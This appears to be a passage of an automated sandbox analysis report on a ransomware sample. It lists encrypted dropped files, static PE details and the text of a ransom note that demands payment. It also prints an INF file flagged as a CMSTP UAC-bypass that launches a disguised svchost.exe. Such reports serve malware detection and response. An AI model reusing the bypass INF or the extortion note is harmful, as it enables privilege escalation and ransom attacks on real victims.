                                                                                                                                                                                                                                                              SSDEEP:12:pjbvlu4Kb15yegd1z0IyjLepjN/ztpyJDy7saP3dCOSQscii9a:X1nz0IyjLAaJDygSdCOjsbD
                                                                                                                                                                                                                                                              MD5:FE7ADF5ACFA7B1EFA3F1611ED8083878
                                                                                                                                                                                                                                                              SHA1:B86235124337966FDFD7F6139DC38416622C3C4B
                                                                                                                                                                                                                                                              SHA-256:34B10C1F5C84880A51BAE455EA49A424C46969A10B3B0F874FE87A9009925C54
                                                                                                                                                                                                                                                              SHA-512:9BE05FC43054D2080288A701B4854BD2DEEFA58CF23AA0398D369596C968EE1FAA69AE8A2DEB6B94B982D66AC7F1BBC24E0F01BD2F8EEA38A41212CBE7D5A7EF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..K8%...TQ...3.o.2.cI..H..GI.y..@[C.i.`...:,o..NuM<F....G..i..?..Gn....5+...t.j.M.1....]....rf....-...e..Jr..{..g...q.qV,...&.?..C.E..../..,v.78..l.r!QgN...a..<..He...D<&......@Qg.z_.L.v|$...S....=(..V.u.k../%(%c..n$;...G5r...k...D.qor5.....|......uJ..(...%1c.4.c..5..0..#^...@..T..i%L.....t|M<.U.L..Z..w...-......l,.....)F.%I.H..,D.,..)..LN..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Wikipedia.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):448
                                                                                                                                                                                                                                                              Entropy (8bit):7.400941412196316
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:pjbvlu4Kb15yegd1z0IyjLepjN/ztpyJDy7saP3dCOSQscii9a:X1nz0IyjLAaJDygSdCOjsbD
                                                                                                                                                                                                                                                              MD5:FE7ADF5ACFA7B1EFA3F1611ED8083878
                                                                                                                                                                                                                                                              SHA1:B86235124337966FDFD7F6139DC38416622C3C4B
                                                                                                                                                                                                                                                              SHA-256:34B10C1F5C84880A51BAE455EA49A424C46969A10B3B0F874FE87A9009925C54
                                                                                                                                                                                                                                                              SHA-512:9BE05FC43054D2080288A701B4854BD2DEEFA58CF23AA0398D369596C968EE1FAA69AE8A2DEB6B94B982D66AC7F1BBC24E0F01BD2F8EEA38A41212CBE7D5A7EF
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000..K8%...TQ...3.o.2.cI..H..GI.y..@[C.i.`...:,o..NuM<F....G..i..?..Gn....5+...t.j.M.1....]....rf....-...e..Jr..{..g...q.qV,...&.?..C.E..../..,v.78..l.r!QgN...a..<..He...D<&......@Qg.z_.L.v|$...S....=(..V.u.k../%(%c..n$;...G5r...k...D.qor5.....|......uJ..(...%1c.4.c..5..0..#^...@..T..i%L.....t|M<.U.L..Z..w...-......l,.....)F.%I.H..,D.,..)..LN..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Youtube.url

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):446
                                                                                                                                                                                                                                                              Entropy (8bit):7.4913124640895825
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:DR+Mya14hu/eAAqj7tMpYlZXILjuQscii9a:DR+MmumAAqjiOEsbD
                                                                                                                                                                                                                                                              MD5:5C657A2ABD7F59C017481732691F7383
                                                                                                                                                                                                                                                              SHA1:B7E6E5012E9D90AD206BDF8B2308117280A2B63C
                                                                                                                                                                                                                                                              SHA-256:3C3A30E05A6F47429F24CC90983D55F97E16275E143207B0A15CC49FEBCFE742
                                                                                                                                                                                                                                                              SHA-512:6094DAAE7D610EDFCA9873025C812D4EC92E7FBEE62BE98FB3D06F144CBEF5ED1BB8B28D5B74EDA3BF081146468E6E3C7DDD9E53D2EA1BC58B878D603C22BAC9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000....UO..,..-..U........g{..T...o....%8.GK.2.~..A..w.n.=.(%Qm..e4..<}.<1..i/3.../.P.. .r...3..C..,.n."}. ;....g1LG@.d)H..TO`n...Dp..t.X&..e+..N....%.NC.?.;..1..G.9.=..<V.s...+9...."..-..D....'...c.6.I.(.A.y.2...G.uY.d..7f.k...+.....h.....!......N.....n...f|$.$i.1.n1.!.h`..l..........7.*.<m..n.B...j...(?.."..~........O....B..#.m...z8..E.bsk.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Favorites\Youtube.url.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):446
                                                                                                                                                                                                                                                              Entropy (8bit):7.4913124640895825
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:DR+Mya14hu/eAAqj7tMpYlZXILjuQscii9a:DR+MmumAAqjiOEsbD
                                                                                                                                                                                                                                                              MD5:5C657A2ABD7F59C017481732691F7383
                                                                                                                                                                                                                                                              SHA1:B7E6E5012E9D90AD206BDF8B2308117280A2B63C
                                                                                                                                                                                                                                                              SHA-256:3C3A30E05A6F47429F24CC90983D55F97E16275E143207B0A15CC49FEBCFE742
                                                                                                                                                                                                                                                              SHA-512:6094DAAE7D610EDFCA9873025C812D4EC92E7FBEE62BE98FB3D06F144CBEF5ED1BB8B28D5B74EDA3BF081146468E6E3C7DDD9E53D2EA1BC58B878D603C22BAC9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:[{000....UO..,..-..U........g{..T...o....%8.GK.2.~..A..w.n.=.(%Qm..e4..<}.<1..i/3.../.P.. .r...3..C..,.n."}. ;....g1LG@.d)H..TO`n...Dp..t.X&..e+..N....%.NC.?.;..1..G.9.=..<V.s...+9...."..-..D....'...c.6.I.(.A.y.2...G.uY.d..7f.k...+.....h.....!......N.....n...f|$.$i.1.n1.!.h`..l..........7.*.<m..n.B...j...(?.."..~........O....B..#.m...z8..E.bsk.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

                                                                                                                                                                                                                                                              C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1193
                                                                                                                                                                                                                                                              Entropy (8bit):7.830226180260976
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:EfSqdkgWJrZVOUZac+h+ZdQNvJrWJVgczoAtOFNdoVc2e+57SN0sbD:EqqdpYZVOUQvEE9WJV0cOFN+VU+YN0mD
                                                                                                                                                                                                                                                              MD5:3731BC6E825CC93738CB47553389AE00
                                                                                                                                                                                                                                                              SHA1:7AF77CAD70706F5D81B37C9EAFBDFD544D6222B8
                                                                                                                                                                                                                                                              SHA-256:33317E3838F96DD77106632BFB2820C896BC70DAC9834E685836125F8093B24E
                                                                                                                                                                                                                                                              SHA-512:8CCDEBBF1321E3E7433CAFE3D88D2A7D9CC718841FC80F670F076A0B4A0150580089EC6DCC60AE6AFE66A509909DFADBC44A6052CC049BB6F443C42D3686AF25
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:<?xml.n..e@;d.t..o......m-..... ..>...e...*.Z..G..{..........z..~.,.../.E.3a../.$....a....K.Id.6+....a!...... ........}o..M:k@.n.K.z+..F.U.v.'`.\N..../.Z_...R..b....gp.zYL.QK.Qj...$............a..e.viFpo..*i..u....t.hx......M?.....w.=H.\.G..8Y....{..`..u...zB.7.7.b<.2.8i..W...[Y.R..$.E.?...g.......0@.t.%-.2)c...!..l........b.t.......,..Y0.ox..}.`i....z....Yq.Vw...?^.../....;..}f..U...I{k^..o..s.p3.).s..K.k.:..].'.[.,C....N;...]{=v.!1..nM..V.....5U...z6.....@UT.....4.)U.a_.iR...p.5...Ck.g.G..0...4n5....]s.i........[(+O(.=..2.......~L.U....h.l\.o...8E..nOXE=m....5'^,.I>.Cq.....7iIH.)..=w{.T.r~...H.*.x....q..y.).P.....*......+..T.<..;...$2......v....@.b..}...6RX8..q.S+B...rw...".....iU...t..M......O....M.1zA).U.#;..iRp.....P.2...<c 5w+...6...AS.DHf..KS._|n.......h...JK?.g..cW/xz.a.KF.W4...(>=.4a.E...Z..-.v.W..X9Iw.}Y...R../.......m,.T._..s_..iC.o..7l....O.j..].?.....t.....Sm.T...e0........D.F...........K...k....D|w..R...{....a.=v

                                                                                                                                                                                                                                                              C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1193
                                                                                                                                                                                                                                                              Entropy (8bit):7.830226180260976
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:EfSqdkgWJrZVOUZac+h+ZdQNvJrWJVgczoAtOFNdoVc2e+57SN0sbD:EqqdpYZVOUQvEE9WJV0cOFN+VU+YN0mD
                                                                                                                                                                                                                                                              MD5:3731BC6E825CC93738CB47553389AE00
                                                                                                                                                                                                                                                              SHA1:7AF77CAD70706F5D81B37C9EAFBDFD544D6222B8
                                                                                                                                                                                                                                                              SHA-256:33317E3838F96DD77106632BFB2820C896BC70DAC9834E685836125F8093B24E
                                                                                                                                                                                                                                                              SHA-512:8CCDEBBF1321E3E7433CAFE3D88D2A7D9CC718841FC80F670F076A0B4A0150580089EC6DCC60AE6AFE66A509909DFADBC44A6052CC049BB6F443C42D3686AF25
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:<?xml.n..e@;d.t..o......m-..... ..>...e...*.Z..G..{..........z..~.,.../.E.3a../.$....a....K.Id.6+....a!...... ........}o..M:k@.n.K.z+..F.U.v.'`.\N..../.Z_...R..b....gp.zYL.QK.Qj...$............a..e.viFpo..*i..u....t.hx......M?.....w.=H.\.G..8Y....{..`..u...zB.7.7.b<.2.8i..W...[Y.R..$.E.?...g.......0@.t.%-.2)c...!..l........b.t.......,..Y0.ox..}.`i....z....Yq.Vw...?^.../....;..}f..U...I{k^..o..s.p3.).s..K.k.:..].'.[.,C....N;...]{=v.!1..nM..V.....5U...z6.....@UT.....4.)U.a_.iR...p.5...Ck.g.G..0...4n5....]s.i........[(+O(.=..2.......~L.U....h.l\.o...8E..nOXE=m....5'^,.I>.Cq.....7iIH.)..=w{.T.r~...H.*.x....q..y.).P.....*......+..T.<..;...$2......v....@.b..}...6RX8..q.S+B...rw...".....iU...t..M......O....M.1zA).U.#;..iRp.....P.2...<c 5w+...6...AS.DHf..KS._|n.......h...JK?.g..cW/xz.a.KF.W4...(>=.4a.E...Z..-.v.W..X9Iw.}Y...R../.......m,.T._..s_..iC.o..7l....O.j..].?.....t.....Sm.T...e0........D.F...........K...k....D|w..R...{....a.=v

                                                                                                                                                                                                                                                              C:\Users\user\_README.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1319
                                                                                                                                                                                                                                                              Entropy (8bit):4.807274519269529
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWmmFRqrs6314kA+GT/kF5M2/kJw3RJphfW:WZHfv0pfNAU5WmPs41rDGT0f/kiFW
                                                                                                                                                                                                                                                              MD5:7B441486AE6539262E6C489422B7BAB9
                                                                                                                                                                                                                                                              SHA1:77313FA3462410A8F362960FD4CF8D8368C0835E
                                                                                                                                                                                                                                                              SHA-256:6A8B46103F201735919E5C1E40519A16E714AC990FC309845A64DB79A063F4A6
                                                                                                                                                                                                                                                              SHA-512:06A0F36D5C233A77EAC4D5BA47A2CFD05101B8E391B995562EB8FB3F97B8487CE2182C345F5E395B029AE70556730912F39A29104F216863E7894CE925312602
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://we.tl/t-hPAqznkJKD..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $499...Please note that you'll never restore your data without

                                                                                                                                                                                                                                                              C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):55
                                                                                                                                                                                                                                                              Entropy (8bit):4.306461250274409
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                                                                                                                                                              MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                                                                                                                                                              SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                                                                                                                                                              SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                                                                                                                                                              SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                                                                                                                                                                              C:\Windows\Temp\chpkcaqm.inf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Roaming\svchost.exe
                                                                                                                                                                                                                                                              File Type:Windows setup INFormation
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):544
                                                                                                                                                                                                                                                              Entropy (8bit):5.361544995245839
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:12:fBz03qrcfhcBHU/0v3EQB5cJJBJfAVjk/jqJI9PCVM:5zO0bb4h4VA/uJIUVM
                                                                                                                                                                                                                                                              MD5:87F46290F92D1BCC9416BAE06039F607
                                                                                                                                                                                                                                                              SHA1:92384996C0DF3EE795CDE04E3028860775BBF681
                                                                                                                                                                                                                                                              SHA-256:533C5081B6CE88DEE2397644EA9E80DF1EF37C728928D3541FC654D671F32492
                                                                                                                                                                                                                                                              SHA-512:D15B7047E357C71B80991F881F81FCB50AD38EFB6F3E299384B1027EA345C5A1ED0EA48E287B8AEB44E9FDAFE56A868CF0704856165C3B7E730DD8C49361908C
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Yara Hits:
                                                                                                                                                                                                                                                              • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Windows\Temp\chpkcaqm.inf, Author: Joe Security
                                                                                                                                                                                                                                                              Preview:[version]..Signature=$chicago$..AdvancedINF=2.5.. ..[DefaultInstall]..CustomDestination=CustInstDestSectionAllUsers..RunPreSetupCommands=RunPreSetupCommandsSection.. ..[RunPreSetupCommandsSection]..C:\Users\user\AppData\Roaming\svchost.exe..taskkill /IM cmstp.exe /F.. ..[CustInstDestSectionAllUsers]..49000,49001=AllUSer_LDIDSection, 7.. ..[AllUSer_LDIDSection].."HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", "".. ..[Strings]..ServiceName="VPN"..ShortSvcName="VPN".. ..

                                                                                                                                                                                                                                                              C:\_README.txt

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1319
                                                                                                                                                                                                                                                              Entropy (8bit):4.807274519269529
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWmmFRqrs6314kA+GT/kF5M2/kJw3RJphfW:WZHfv0pfNAU5WmPs41rDGT0f/kiFW
                                                                                                                                                                                                                                                              MD5:7B441486AE6539262E6C489422B7BAB9
                                                                                                                                                                                                                                                              SHA1:77313FA3462410A8F362960FD4CF8D8368C0835E
                                                                                                                                                                                                                                                              SHA-256:6A8B46103F201735919E5C1E40519A16E714AC990FC309845A64DB79A063F4A6
                                                                                                                                                                                                                                                              SHA-512:06A0F36D5C233A77EAC4D5BA47A2CFD05101B8E391B995562EB8FB3F97B8487CE2182C345F5E395B029AE70556730912F39A29104F216863E7894CE925312602
                                                                                                                                                                                                                                                              Malicious:true
                                                                                                                                                                                                                                                              Preview:ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://we.tl/t-hPAqznkJKD..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $499...Please note that you'll never restore your data without

                                                                                                                                                                                                                                                              \Device\Null

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators, with overstriking
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):60
                                                                                                                                                                                                                                                              Entropy (8bit):4.41440934524794
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
                                                                                                                                                                                                                                                              MD5:3DD7DD37C304E70A7316FE43B69F421F
                                                                                                                                                                                                                                                              SHA1:A3754CFC33E9CA729444A95E95BCB53384CB51E4
                                                                                                                                                                                                                                                              SHA-256:4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
                                                                                                                                                                                                                                                              SHA-512:713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:..Waiting for 3 seconds, press a key to continue ....2.1.0..

                                                                                                                                                                                                                                                              Static File Info

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                              Entropy (8bit):6.83656517908329
                                                                                                                                                                                                                                                              TrID:
                                                                                                                                                                                                                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                              • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                              File name:KMPrEVaSfH.exe
                                                                                                                                                                                                                                                              File size:174'592 bytes
                                                                                                                                                                                                                                                              MD5:69d761d941e1a7a4721e267e91167b3a
                                                                                                                                                                                                                                                              SHA1:7e83135738bdd132a8c9da031b4794852cfc9f8b
                                                                                                                                                                                                                                                              SHA256:c6d317e1eb756b3577414068ac20fc445921f4edd86bef21dbab2d89920e4649
                                                                                                                                                                                                                                                              SHA512:4ccfe22c2a726f10e4956383fb12371cc07be797707ac6b5dba1a14a5b798c24503bd4f29302c525240dffd0a3f1d3775ff575a2fddb4443df974d1de5ce1295
                                                                                                                                                                                                                                                              SSDEEP:3072:lLWPQWxrjDjU6G+JLfeEXcUesyx0RcAJ+qVeYg:lLWPvjU6TFhXBes/c
                                                                                                                                                                                                                                                              TLSH:BE049E1033E88172D297267188F4CBB54EAB78566772A9DF0FDA05BD0F28AD1973431E
                                                                                                                                                                                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................F.......s.......G.......~...............B.......w.......p.....Rich....................PE..L...k.ad...........

                                                                                                                                                                                                                                                              File Icon

                                                                                                                                                                                                                                                              Icon Hash:033964656d311b46

                                                                                                                                                                                                                                                              Static PE Info

                                                                                                                                                                                                                                                              General

                                                                                                                                                                                                                                                              Entrypoint:0x4014ac
                                                                                                                                                                                                                                                              Entrypoint Section:.text
                                                                                                                                                                                                                                                              Digitally signed:false
                                                                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                                                                              Subsystem:windows gui
                                                                                                                                                                                                                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                                                                              DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                              Time Stamp:0x6461056B [Sun May 14 15:59:39 2023 UTC]
                                                                                                                                                                                                                                                              TLS Callbacks:
                                                                                                                                                                                                                                                              CLR (.Net) Version:
                                                                                                                                                                                                                                                              OS Version Major:5
                                                                                                                                                                                                                                                              OS Version Minor:1
                                                                                                                                                                                                                                                              File Version Major:5
                                                                                                                                                                                                                                                              File Version Minor:1
                                                                                                                                                                                                                                                              Subsystem Version Major:5
                                                                                                                                                                                                                                                              Subsystem Version Minor:1
                                                                                                                                                                                                                                                              Import Hash:55e8353f802707422a3462a3bab24fd9

                                                                                                                                                                                                                                                              Entrypoint Preview

                                                                                                                                                                                                                                                              Instruction
                                                                                                                                                                                                                                                              call 00007F47814137F7h
                                                                                                                                                                                                                                                              jmp 00007F4781411C1Eh
                                                                                                                                                                                                                                                              mov edi, edi
                                                                                                                                                                                                                                                              push ebp
                                                                                                                                                                                                                                                              mov ebp, esp
                                                                                                                                                                                                                                                              sub esp, 00000328h
                                                                                                                                                                                                                                                              mov dword ptr [00429EB8h], eax
                                                                                                                                                                                                                                                              mov dword ptr [00429EB4h], ecx
                                                                                                                                                                                                                                                              mov dword ptr [00429EB0h], edx
                                                                                                                                                                                                                                                              mov dword ptr [00429EACh], ebx
                                                                                                                                                                                                                                                              mov dword ptr [00429EA8h], esi
                                                                                                                                                                                                                                                              mov dword ptr [00429EA4h], edi
                                                                                                                                                                                                                                                              mov word ptr [00429ED0h], ss
                                                                                                                                                                                                                                                              mov word ptr [00429EC4h], cs
                                                                                                                                                                                                                                                              mov word ptr [00429EA0h], ds
                                                                                                                                                                                                                                                              mov word ptr [00429E9Ch], es
                                                                                                                                                                                                                                                              mov word ptr [00429E98h], fs
                                                                                                                                                                                                                                                              mov word ptr [00429E94h], gs
                                                                                                                                                                                                                                                              pushfd
                                                                                                                                                                                                                                                              pop dword ptr [00429EC8h]
                                                                                                                                                                                                                                                              mov eax, dword ptr [ebp+00h]
                                                                                                                                                                                                                                                              mov dword ptr [00429EBCh], eax
                                                                                                                                                                                                                                                              mov eax, dword ptr [ebp+04h]
                                                                                                                                                                                                                                                              mov dword ptr [00429EC0h], eax
                                                                                                                                                                                                                                                              lea eax, dword ptr [ebp+08h]
                                                                                                                                                                                                                                                              mov dword ptr [00429ECCh], eax
                                                                                                                                                                                                                                                              mov eax, dword ptr [ebp-00000320h]
                                                                                                                                                                                                                                                              mov dword ptr [00429E08h], 00010001h
                                                                                                                                                                                                                                                              mov eax, dword ptr [00429EC0h]
                                                                                                                                                                                                                                                              mov dword ptr [00429DBCh], eax
                                                                                                                                                                                                                                                              mov dword ptr [00429DB0h], C0000409h
                                                                                                                                                                                                                                                              mov dword ptr [00429DB4h], 00000001h
                                                                                                                                                                                                                                                              mov eax, dword ptr [00428004h]
                                                                                                                                                                                                                                                              mov dword ptr [ebp-00000328h], eax
                                                                                                                                                                                                                                                              mov eax, dword ptr [00428008h]
                                                                                                                                                                                                                                                              mov dword ptr [ebp-00000324h], eax
                                                                                                                                                                                                                                                              call dword ptr [000000CCh]

                                                                                                                                                                                                                                                              Rich Headers

                                                                                                                                                                                                                                                              Programming Language:
                                                                                                                                                                                                                                                              • [C++] VS2010 build 30319
                                                                                                                                                                                                                                                              • [ASM] VS2010 build 30319
                                                                                                                                                                                                                                                              • [ C ] VS2010 build 30319
                                                                                                                                                                                                                                                              • [IMP] VS2008 SP1 build 30729
                                                                                                                                                                                                                                                              • [RES] VS2010 build 30319
                                                                                                                                                                                                                                                              • [LNK] VS2010 build 30319

                                                                                                                                                                                                                                                              Data Directories

                                                                                                                                                                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0x268240x3c.rdata
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x27d50000x1c30.rsrc
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x265580x18.rdata
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x240000x194.rdata
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                              Sections

                                                                                                                                                                                                                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                              .text0x10000x225b20x2260062cf85dcc3cd6d5fb9d2a82fae649952False0.683515625data7.252995639283016IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                              .rdata0x240000x31980x3200c6db223048207561b0d3cdf388dfc3ddFalse0.373828125data5.077018245735266IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                              .data0x280000x27a85800x1e00e77f4d61ca2e1bf1bde3ea6a48b44a16unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                              .vakeg0x27d10000x7c0x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                              .tls0x27d20000x9cd0xa00a371492f16c0940507435909603efe88False0.009375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
